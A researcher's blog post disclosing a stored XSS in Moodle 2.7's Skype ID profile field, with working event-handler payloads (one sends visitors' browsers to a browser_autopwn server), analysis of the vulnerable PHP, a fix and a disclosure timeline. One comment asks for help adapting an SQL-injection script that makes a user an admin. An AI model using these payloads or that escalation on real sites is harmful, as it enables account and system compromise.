Moodle 2.7 Persistent XSS


I hope you all have heard about the Moodle project. The full form is Moodle Modular Object-Oriented Dynamic Learning Environment. This project is a free open-source project which focuses in teaching and learning online courses effectively. Most of the universities, colleges, educational institutes use this application in interacting with students. You can read and research more information on Wikipedia.

Vulnerability and Exploit

This is a persistent XSS I found in Moodle 2.7. Well, this vulnerability was present from the version 2.4.9 till 2.7 so far hidden from the eye 😉 luckily I spotted this while I was fuzzing random stuff against the application.

Edit your user profile and under “Optional” you can see “Skype ID”. Let’s inject some HTML into the Skype ID field and check the output

[code language=”html”]
“>>><h1>Hello World</h1>

It seems like our input is echoed back thrice. In one line the input is being URL encoded since it should be the URL of the user and in another it is being converted to HTML entities, while in the other field it seems like our input is being filtered out. I love to break filters. Here is my quick and small analysis in detail.

Output 1:

[code language=”html”]
<a href=”skype:%22%3E%3E%3EHello+World?call”>

Output 2:

[code language=”html”]
&quot;&gt;&gt;&gt;Hello World

Output 3:

[code language=”html”]
<img src=””>>>Hello World” class=”icon icon-post” alt=”Status” />

View post on

I was interested in the third output since our input ">>><h1>Hello World</h1> is being stripped down to >>>Hello World

This means HTML tags are not a solution since they are filtered. What about JS event handlers? 😉

In this case our restrictions are the HTML tags and the length should be maximum 50 characters. We cannot exceed this limit since it would throw us an exception. So we have to craft our payload in a way which would suite this situation.

View post on

Using JS event handlers let’s craft something like this

[code language=”html”]
x” onload=”prompt(‘XSS by Osanda’)”>

w00t! It works nicely 🙂

View post on

Let’s check the output. Our crafted part works fine 🙂

[code language=”html”]
<img src="" onload="prompt(‘XSS by Osanda’)">

View post on

Compromising Users

I know you would probably think that XSS is not a big deal. That is how most of the people think, some see it as a just a popup 😀 But this is persistent XSS, so basically there are lot of attack vectors out there. BeEF, OWASP Xenotix XSS Exploit Framework are some of the popular tools in which you can experiment. In here for the post’s sake I would be directly using brower_autopwn to demonstrate how this vulnerability could lead to compromise a system.

Taking all the restrictions into consideration we can craft our payload like this. I have used to shorten our long URL.

[code language=”html”]
x" onload=window.location="">

Most of the time webmasters take time to upgrade their software. Since this is widely used by students it would be fun exploiting. So at least by watching the above video I hope you would upgrade to the latest version from here


After looking into the code this is what I’ve found out. Let’s start reversing 🙂


[code language=”php” highlight=”3,9,12″]
if ($user->skype && !isset($hiddenfields[‘skypeid’])) {
$imurl = ‘skype:’.urlencode($user->skype).’?call’;
$iconurl = new moodle_url(‘’.$user->skype);
if (strpos($CFG->httpswwwroot, ‘https:’) === 0) {
// Bad luck, skype devs are lazy to set up SSL on their servers – see MDL-37233.
$statusicon = ”;
} else {
$statusicon = html_writer::empty_tag(‘img’,
array(‘src’ => $iconurl, ‘class’ => ‘icon icon-post’, ‘alt’ => get_string(‘status’)));
echo html_writer::tag(‘dt’, get_string(‘skypeid’));
echo html_writer::tag(‘dd’, html_writer::link($imurl, s($user->skype) . $statusicon));

This is how we see the three outputs

[code language=”php”]
echo html_writer::tag(‘dd’, html_writer::link($imurl, s($user-&gt;skype) . $statusicon));

The $imurl variable as you see the URL encodes the output

s($user->skype) filters our input into HTML entities. More info about s() view here

The $statusicon variable is the one which echoes our XSS payload in here.

This is the code of $statusicon

[code language=”php”]
$statusicon = html_writer::empty_tag(‘img’,
array(‘src’ => $iconurl, ‘class’ => ‘icon icon-post’, ‘alt’ => get_string(‘status’)));

Yep, as in the HTML output above the $iconurl is the vulnerable part in here.

This is the code of $iconurl

[code language=”php”]
$iconurl = new moodle_url(‘’.$user-&gt;skype);

Even though a new moodle_url object has been created it seems to be buggy in filtering quotes. So the issue relies on their API too. Since this URL and needs to be encoded you can fix this issue by passing $user->skype inside urlencode().

[code language=”php”]
$iconurl = new moodle_url(‘’.urlencode($user-&gt;skype));

Since this is stored XSS and if someone was able to store a valid XSS payload in the database before, it will be executed anytime regardless of patching or upgrading. You can run this query against all the registered users and find out whether your database contains any kind of malicious payloads.

[code language=”sql”]
SELECT username, firstname, lastname,skype FROM mdl_user;

View post on

I wouldn’t recommend you to fix and think that you are secure. There can be many other issues fixed in the latest stable version. So please upgrade to the latest version from here

Disclosure Timeline

2014-05-24: Responsibly disclosed to the Vendor
2014-05-27: Suggested a fix
2014-06-04: Fix got accepted
2014-07-21: Vendor releases a security announcement
2014-07-24: Released Moodle 2.7.1 stable with all patches

I got into the developers list as well 🙂 I hope to contribute more into this project in a way I can 🙂

View post on

I would be very thankful to Petr Skoda, Michael de Raadt, Frédéric Massart, Dan Poltawski, Marina Glancy and all the developers who collaborated with me in this issue in a friendly manner.

 More Information

9 thoughts on “Moodle 2.7 Persistent XSS

  1. Very informative, especially the video. Congratulations to you, Osanda, for finding the persistent XSS vulnerability and for demonstrating (in the video) how to exploit it. As I understand it, the video demonstrates a generic method of exploiting any persistent XSS vulnerability, which makes it all the more useful. Perhaps you may consider creating a blog post where you could outline this generic method of exploitation, as well as other methods for other exploitations as well.

    As you mention, people may not realize how an attacker may utilize a persistent XSS vulnerability such as this one, so you help us all by explaining how such a vulnerability can lead to a compromised system.

    The point I am trying to make is that I really would like to see you bring forth not only the vulnerabilities, but also provide us with the methods of their exploitation, just as you did in this video. This would make your extremely interesting blog posts even more interesting.

    Again, congratulations for your work. Your knowledge and thinking never ceases to amaze me.

    • Thank you very much Sir. ! Yeah most of the time people won’t care XSS that much. Since this is stored XSS in the user profile where users view each other, the risk is very crtitical.

  2. Hello Osanda

    I am testing a moodle system version 2.x. As I saw, you are into security field, and I would like to ask a question regarding an exploit.

    To run the following script you need to have an account (any role) in the system. Then you replace session key, userid (both from source code after you log in) and moodlesession (from cookie). After you replace them, run the script and re log.

    In this exploit php someone could sql inject a database

    Is it possible to append to the end of the value in a column inside a table instead of replacing the whole value?

    The value in the column has the format: 1, 2, 3 which are the userIDs How could someone add a “,” and the new value (an integer) through that script

    I tried $value= $value .’, 5′ ; but it still replaces the whole value with a blank and , 5 The followng scrpipt basically makes a userid an admin but replaces any other admins.

    Is it possible to not replace any other admins and just make that userid an admin too?

    The code was made by another tester

    Thank you

Leave a Reply